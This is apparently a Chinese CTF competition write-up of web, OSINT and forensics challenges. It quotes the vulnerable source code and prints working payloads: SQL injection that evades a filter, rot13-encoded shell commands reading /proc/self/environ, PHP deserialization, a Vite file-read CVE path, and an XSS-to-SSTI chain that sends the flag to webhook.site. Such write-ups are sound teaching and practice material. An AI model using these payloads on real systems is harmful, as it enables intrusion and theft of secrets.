WEB

Welcome !!

image-20250516094854488

ctbuctf{we1c0me_t0_CT9UC7F2025}

Sql_No_map…?

原先还在自己测,结果发现目录有东西……

//index.php
<?php
require 'lib.php';
header("Content-Type: text/html; charset=utf-8");

$err = '';
$selected_id = $_GET['id'] ?? '';
$selected_article = null;

// 获取文章列表
$list_sql = "SELECT id, title FROM article ORDER BY id ASC"; //升序排列
$list_res = db()->query($list_sql);
$articles = [];
while ($row = $list_res->fetch_assoc()) {
$articles[] = $row;
}

// 如果点击了某篇文章
if ($selected_id !== '') {
if (!waf($selected_id)) {
$err = 'Hacker Detected!';
} else {
$sql = "SELECT title,content FROM article WHERE id=$selected_id LIMIT 1";
$res = db()->query($sql);
if ($res === false) {
$err = db()->error;
} elseif ($row = $res->fetch_assoc()) {
$selected_article = $row;
} else {
$err = "无此文章";
}
}
}
?>
//source.php:限制只能读php文件,通过这个读到index和lib
<?php
$file = $_GET['file'] ?? __FILE__;
if (substr($file, -4) !== '.php') {
die('forbidden');
}
highlight_file($file);
?>
//lib.php
<?php
function waf($s) { //过滤了空格、or和and,也禁止了sqlmap的UA头,注意这里是没有过滤information的
if (strpos($s, ' ') !== false) return false;
if (preg_match('/\b(or|and)\b/i', $s)) return false;
if (isset($_SERVER['HTTP_USER_AGENT']) &&
stripos($_SERVER['HTTP_USER_AGENT'], 'sqlmap') !== false) return false;
return true;
}

function db() {
static $link;
if (!$link) {
$link = new mysqli('127.0.0.1', 'root', 'rootpass67665', 'ctf');
if ($link->connect_errno) die('DB down');
$link->set_charset("utf8mb4");
}
return $link;
}

直接打

id=0/**/union/**/select/**/1,2#
id=0/**/union/**/select/**/(select/**/database()),2# //ctf
id=0/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'),2# //article,FLAG
id=0/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='FLAG'),2# //k,v
id=0/**/union/**/select/**/(select/**/group_concat(v)/**/from/**/FLAG),2# //ctbuctf{bf9b1ec5-528e-4cb5-9efb-299df800fa63_TIGER_DRAGON_[TEAM_HASH]}

image-20250516153042984

ctbuctf{bf9b1ec5-528e-4cb5-9efb-299df800fa63_TIGER_DRAGON_[TEAM_HASH]}

✉️ Poem:Imprisoned XII

<?php
//歌词来源:网易云
highlight_file(__FILE__);
error_reporting(0);

// 夜幕下,初华轻声低语:
echo "描绘扭曲天空,我不禁去遐想\n";
echo "愿无羽翼的你,堕临至我身旁\n";

class FalseSight {
private $hue;
public function __toString() {
return "IslandMirage";
}
public function __wakeup() {
// 虚影掠过,声音瞬间消散
echo "我不幸触碰了,神圣高洁之物…\n";
trigger_error("Fading echo...", E_USER_NOTICE);
}
}

function phantom_melody($data) {
// 虚语解析,却始终听不清
echo "只求你在今夜,成为我的神话…\n";
return base64_decode(str_rot13($data));
}

$illusory_song = "flag{faux_melody}";

if (isset($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'CRYCHIC') === false) {
die("尝试挽回,祥子拒绝:仅限 CRYCHIC 成员\n");
}

$cmd = $_GET['cmd'];
if ($cmd) {
// 幕后演奏,暗号解码
echo "看吧,你已无路可逃…\n";
eval(str_rot13($cmd));
}

class SongGazer {
private $realName = "Hatsune";
public $soundState = "muted";
private $melody = "";

public function __construct() {
// 接近祥子时,初华心中涌出“音律”
echo "我清楚地知晓,但现在就悄悄,与君共度奇妙时光…\n";
$this->melody = file_get_contents('flag.php');
}

public function __wakeup() {
// 想要喊出时,声音被静音,旋律丢失
echo "将逐渐虚弱的你,紧紧关住…\n";
$this->soundState = "silenced";
$this->melody = "";
}

public function __destruct() {
// 当声音重归通畅,旋律才得以完全绽放
if ($this->soundState === "resonant" && $this->melody !== "") {
$this->melody = file_get_contents('/flag.php');
echo "我如痴如狂…\n";
echo $this->melody;
}
}
}

set_exception_handler(function ($e) {
echo "祥子,你迷失了吗?\n" . md5($e->getMessage()) . "\n";
exit;
});

try {
if (rand(0, 1)) {
throw new Exception("Cosmic static");
}
} catch (Exception $e) {
}

if(isset($_GET['payload'])){
unserialize($_GET['payload']);
}

?>

先修改UACRYCHIC,可以直接cmd,读不到/flag.php

cmd=flfgrz("yf /");    //system("ls /");         flag.php
cmd=flfgrz("gnp /synt.cuc"); //system("tac /flag.php");
cmd=flfgrz("jubnzv"); //system("whoami"); www-data

非预期

但是phpinfo()读到flag了??!!

在环境变量里面

flfgrz("png /cebp/frys/raiveba");    //system("cat /proc/self/environ");
ctbuctf{Saki-Chan-Saki-Chan-ff7191e8d225-Saki-Chan-Saki-Chan}

image-20250516160959562

预期

打反序列化,通过echo来输出/flag.php

payload=O%3A9%3A%22SongGazer%22%3A4%3A%7Bs%3A19%3A%22%00SongGazer%00realName%22%3Bs%3A7%3A%22Hatsune%22%3Bs%3A10%3A%22soundState%22%3Bs%3A8%3A%22resonant%22%3Bs%3A17%3A%22%00SongGazer%00melody%22%3Bs%3A3%3A%22123%22%3B%7D%0A

但是还是没东西,估计就真的是在环境变量里面了

image-20250516162427293

ctbuctf{Saki-Chan-Saki-Chan-ff7191e8d225-Saki-Chan-Saki-Chan}

vite_dev👻

先尝试下vite的那几个cve,发现CVE-2025-30208,即/etc/passwd?import&raw??可用,那么直接读环境变量获得flag

image-20250521154000830

ctbuctf{g00d_22821d90-c867-4538-9f50-592864381c84}

SecureCorp Employee Portal(复现)

#app.py
import os
import logging
from flask import Flask, render_template, request, Response, redirect, url_for
from bot import visit_report
from secrets import token_hex
from datetime import datetime
from collections import deque
import time
import random
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("securecorp")

X_Admin_Token = token_hex(16)

bot_visits = deque(maxlen=10)
system_logs = deque([
{"timestamp": "2025-05-03 02:15:23", "level": "INFO", "message": "Security monitoring system initialized"},
{"timestamp": "2025-05-03 02:15:24", "level": "INFO", "message": "Bot service started successfully"},
{"timestamp": "2025-05-03 03:23:45", "level": "WARN", "message": "Unusual access pattern detected from 198.51.100.77"},
{"timestamp": "2025-05-03 04:11:32", "level": "SECURITY", "message": "Admin credentials used from unknown location"},
{"timestamp": "2025-05-03 04:12:05", "level": "ERROR", "message": "Database connection timeout in employee lookup module"}
], maxlen=20)

start_time = time.time()

def run_cmd():
pass

app = Flask(__name__)

@app.route('/admin', methods=['GET'])
def admin():
logger.info(f'Admin panel accessed - Token check: {X_Admin_Token}')
logger.debug(f'Cookies received: {request.cookies}')

if request.cookies.get('X-Admin-Token') != X_Admin_Token:
logger.warning(f'Unauthorized access attempt from {request.remote_addr}')
return 'Access denied: Invalid security credentials', 403

logger.info('Admin authentication successful')
prompt = request.args.get('prompt')
return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))

@app.route('/', methods=['GET'])
def index():
logger.info(f'Home page accessed from {request.remote_addr}')
return render_template('index.html')

@app.route('/external-lookup', methods=['GET'])
def external_lookup():
query = request.args.get('query', '')
logger.info(f'External lookup requested for: {query}')
return render_template('external-lookup.html', query=query, now=datetime.now().strftime("%Y-%m-%d %H:%M:%S"))

@app.route('/your-name', methods=['GET'])
def your_name():
if request.method == 'GET':
name = request.args.get('name')
logger.info(f'Employee lookup for: {name}')
return Response(render_template('your-name.html', name=name), content_type='text/html')

@app.route('/security-monitor', methods=['GET'])
def security_monitor():
uptime_seconds = int(time.time() - start_time)
hours, remainder = divmod(uptime_seconds, 3600)
minutes, seconds = divmod(remainder, 60)
uptime = f"{hours:02}:{minutes:02}:{seconds:02}"

alerts = random.randint(1, 5)

return render_template('security-monitor.html',
visits=list(bot_visits),
logs=list(system_logs),
uptime=uptime,
alerts=alerts)

@app.route('/report', methods=['GET'])
def report():
url = request.args.get('url')
if url and (url.startswith('http://') or url.startswith('https://')):
logger.info(f'Security verification requested for: {url}')

timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
success = random.random() > 0.1
bot_visits.appendleft({
"timestamp": timestamp,
"url": url,
"success": success
})

system_logs.appendleft({
"timestamp": timestamp,
"level": "INFO" if success else "WARN",
"message": f"Bot visited: {url}" if success else f"Bot visit failed: {url}"
})

visit_report(url, X_Admin_Token)

return redirect(url_for('index'))

if __name__ == "__main__":
logger.info("Starting SecureCorp Employee System...")
app.run(debug=False, host='0.0.0.0')
#bot.py
from selenium import webdriver
from selenium.webdriver.firefox.options import Options
from selenium.webdriver.support.ui import WebDriverWait

def visit_report(url, X_Admin_Token):
options = Options()
options.add_argument('--headless')
options.set_preference("security.warn_submit_secure_to_insecure", False)
browser = webdriver.Firefox(options=options)

try:
print(f'[Bot] Initializing security verification')
browser.get('http://127.0.0.1:5000/')
cookie = {
'name':'X-Admin-Token',
'value': X_Admin_Token,
'secure': False,
'httpOnly': False,
'expiry': None
}
browser.add_cookie(cookie)
print(f'[Bot] Visiting target URL: {url}')
browser.get(url)
WebDriverWait(browser, 10).until(lambda r: r.execute_script('return document.readyState') == 'complete')
print(f'[Bot] Page loaded successfully')
except Exception as e:
print(f"[Bot] Error during verification: {e}")
finally:
browser.quit()
print(f'[Bot] Security verification completed')

分析

首先有个格式化字符串漏洞,关键漏洞点是源码中的/admin路由

def run_cmd():
pass

@app.route('/admin', methods=['GET'])
def admin():
logger.info(f'Admin panel accessed - Token check: {X_Admin_Token}')
logger.debug(f'Cookies received: {request.cookies}')

if request.cookies.get('X-Admin-Token') != X_Admin_Token:
logger.warning(f'Unauthorized access attempt from {request.remote_addr}')
return 'Access denied: Invalid security credentials', 403

logger.info('Admin authentication successful')
prompt = request.args.get('prompt')
return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))

注意到这里的return render_template('admin.html', cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}".format(run_cmd))存在模块注入,这个代码的解释如下

  • render_template:渲染指定的admin.html模板,并且将cmd变量值传入
  • cmd=f"{prompt if prompt else 'prompt$/>'}{run_cmd()}":如果prompt存在且非空则使用prompt的值,否则使用字符串prompt$/>。后面调用run_cmd()函数的返回值并插入到字符串中

通过环境变量来找到flag,即

/admin?prompt={0.__globals__[url_for].__globals__[os].environ[GZCTF_FLAG]}

还有一个xss漏洞,关键漏洞点为/your-name路由

@app.route('/your-name', methods=['GET'])
def your_name():
if request.method == 'GET':
name = request.args.get('name')
logger.info(f'Employee lookup for: {name}')
return Response(render_template('your-name.html', name=name), content_type='text/html')

这里的name直接从get传参,然后渲染到模块中输出

利用

写进日志

http://ctf.ctbu.edu.cn:33414/report?url=http://127.0.0.1:5000/your-name?name='><script>fetch(`/admin?prompt={0.__globals__[url_for].__globals__[os].environ[GZCTF_FLAG]}`, {credentials:'include'}).then(r=>r.text()).then(t=>{window.location=`/report?url=http://127.0.0.1:5000/your-name?name=${encodeURIComponent(t.match(/ctbuctf\{[^}]*\}/)[0])}`;})</script><img src='

首先通过report路由的visit_report对本地的your-name带上token后发起请求,name参数插入后构成

logger.info(f'Employee lookup for: name='>
<script>fetch(`/admin?prompt={0.__globals__[url_for].__globals__[os].environ[GZCTF_FLAG]}`, {credentials:'include'}).then(r=>r.text()).then(t=>{window.location=`/report?url=http://127.0.0.1:5000/your-name?name=${encodeURIComponent(t.match(/ctbuctf\{[^}]*\}/)[0])}`;})</script>
<img src=')
  • fetch:向/admin发起ssti的请求
  • {credentials:'include'}:包含请求头信息来请求,即带着token
  • r=>r.text():将响应转换为文本
  • t=>{window.location=:将获取的flag放到name参数中重新请求一次,记录在日志中
  • name=${encodeURIComponent(t.match(/ctbuctf\{[^}]*\}/)[0])}:匹配结果中以ctbuctf开头,}结尾中的所有内容,并且以}结尾,[0]表示提取到的第一项,encodeURIComponent将结果中的字符先url编码一次,防止错误

image-20250530114950956

ctbuctf{b2772b7a3d25_V3ry_go0d_!b2772b7a3d25}

**注意:**这里的是模拟bot访问,而不是真的admin-token,所以是不能直接report访问admin来获取flag的

外带

http://ctf.ctbu.edu.cn:33415/report?url=http://127.0.0.1:5000/your-name?name='><script>fetch(`/admin?prompt={0.__globals__[url_for].__globals__[os].environ[GZCTF_FLAG]}`, {credentials:'include'}).then(r=>r.text()).then(t=>{window.location=`https://webhook.site/x-x-x-x-x/?FLAG=${btoa(t.match(/ctbuctf\{[^}]*\}/)[0])}`;})</script><img src=

这里通过外带到在线网站https://webhook.site/获得flag,原理类似

image-20250530130249739

terminal(复现)

进去后发现需要admin才能访问flag文件,whoami发现目前是guest

这题主要就是前端逻辑,由于flag文件中有debugger,所以要先将这两个debugger永不在此处暂停

image-20250530164657684

在前端搜索guest,下一排打断点,这样好做点

image-20250530172517018

注意这里不能自动跳断点,重新刷新页面就能跳断点了,这时去控制台je="admin"

image-20250530172534905

再重新进页面读flag就有了

image-20250530172612784

flag{7h15_15_a_v3ry_g00d_5747}

前端js奇奇怪怪的

1terminal pro(复现)

<?php

namespace app\controller;

use Firebase\JWT\JWT;
use Firebase\JWT\Key;
use think\facade\Db;

class Auth
{
private $key = "就不告诉你~";

// 用户注册
public function register()
{
$username = input('post.username');
$password = input('post.password');

if (empty($username) || empty($password)) {
return json(['error' => '用户名或密码不能为空'], 400);
}

// 检查用户是否已存在
$exists = Db::table('users')->where('username', $username)->find();
if ($exists) {
return json(['error' => '用户名已存在'], 400);
}

// 保存用户(密码使用哈希存储)
$hashedPassword = password_hash($password, PASSWORD_BCRYPT);
Db::table('users')->insert(['username' => $username, 'password' => $hashedPassword]);

return json(['message' => '注册成功']);
}

// 用户登录
public function login()
{
$username = input('post.username');
$password = input('post.password');

if (empty($username) || empty($password)) {
return json(['error' => '用户名或密码不能为空'], 400);
}



// 查找用户
$user = Db::table('users')->where('username', $username)->find();
if (!$user || !password_verify($password, $user['password'])) {
return json(['error' => '用户名或密码错误'], 401);
}

// 生成 JWT
$payload = [
'role' => 'user',
'username' => $username,
'iat' => time(), // 签发时间
'exp' => time() + 3600, // 过期时间(1小时)
'uid' => $user['id'], // 用户ID
];
$token = JWT::encode($payload, $this->key, 'HS256');

return json(['token' => $token]);

}
public function system()
{
$authHeader = request()->header('Authorization');
if (!$authHeader || !str_starts_with($authHeader, 'Bearer ')) {
return json(['error' => '未提供有效的令牌'], 401);
}

$token = substr($authHeader, 7); // 去掉 "Bearer " 前缀
$result = $this -> verify_jwt($token, $this->key);
if ($result['role'] !== 'admin') {
return json(['error' => '权限不足'], 403);
}
$cmd = input('post.cmd');
// 仿照终端的样式,执行命令
$output = shell_exec($cmd);
return json(['output' => $output]);
}
// 验证 JWT
public function verify()
{
$authHeader = request()->header('Authorization');
if (!$authHeader || !str_starts_with($authHeader, 'Bearer ')) {
return json(['error' => '未提供有效的令牌'], 401);
}

$token = substr($authHeader, 7); // 去掉 "Bearer " 前缀
$result = $this -> verify_jwt($token, $this->key);
return json($result);

}

public function verify_jwt($token, $key)
{
try {
$decoded = JWT::decode($token, new Key($this->key, 'HS256'));
return ['uid' => $decoded->uid, 'role' => $decoded->role,'username' => $decoded->username];
} catch (\Exception $e) {
throw $e;

}
}
}

1🎭 Mutsumi or Mortis?(复现)

1Yukiyuki_csp

提示csp,那就抓个包看看,发现在点击登陆时发了两个请求包,但是有个返回包是乱码,顺便解决了下bp不能看中文的问题,在设置中将HTTP消息显示改成中文字体就行了

image-20250519103648223

图寻(OSINT)

网络迷踪擂台赛 Ⅴ:鼠鼠戏水记

这是一张图片吗?

ctbuctf{重庆市_涪陵区_蔺市镇_美心红酒小镇}

Forensics(应急响应)

学弟复仇记Ⅰ:情人节行动

UsbKbCracker-main获得密码

image-20250521151556113

ctbuctf{xxxLoveyyy1314_xxx20000818_qweasdzxc123456}

学弟复仇记Ⅱ:网络谜踪

在桌面上找到重要学术资料.exe丢沙箱分析

image-20250519234621597

ctbuctf{103.117.120.68}

学弟复仇记Ⅲ:已读邮件

首先看邮箱下面的文件,找到qq邮箱名为3676459182@qq.com

image-20250520001506069

不会取证然后就把自己号登上,然后用原来的数据全部覆盖就能看到原始数据了

找到垃圾邮箱中的login.zip,结合邮箱中提示和题一中的错误密码,加上三位后爆破出密码为xxx20000818#@~

image-20250520000232868

解压获得账号密码

账号:Ntadmin
密码:Who1sadmin666

ctbuctf{Ntadmin_Who1sadmin666}

1学弟复仇记Ⅳ:身份窃影

注意这里是在服务器的8080端口,访问103.117.120.68:8080,登录系统后发现是Vue3 + Vite + TypeScript + Element-Plus的管理系统,想到前不久TGCTF做到的cve

secret1

流量里面

image-20250521151955672

ctbuctf{39o475}

secret2

file:///C:/Users/Xxx/AppData/Roaming/Foxmail7/Temp-8500-20250514213140/Attach/fox(05-14-21-42-56).html

image-20250520093631560

ctbuctf{a62849}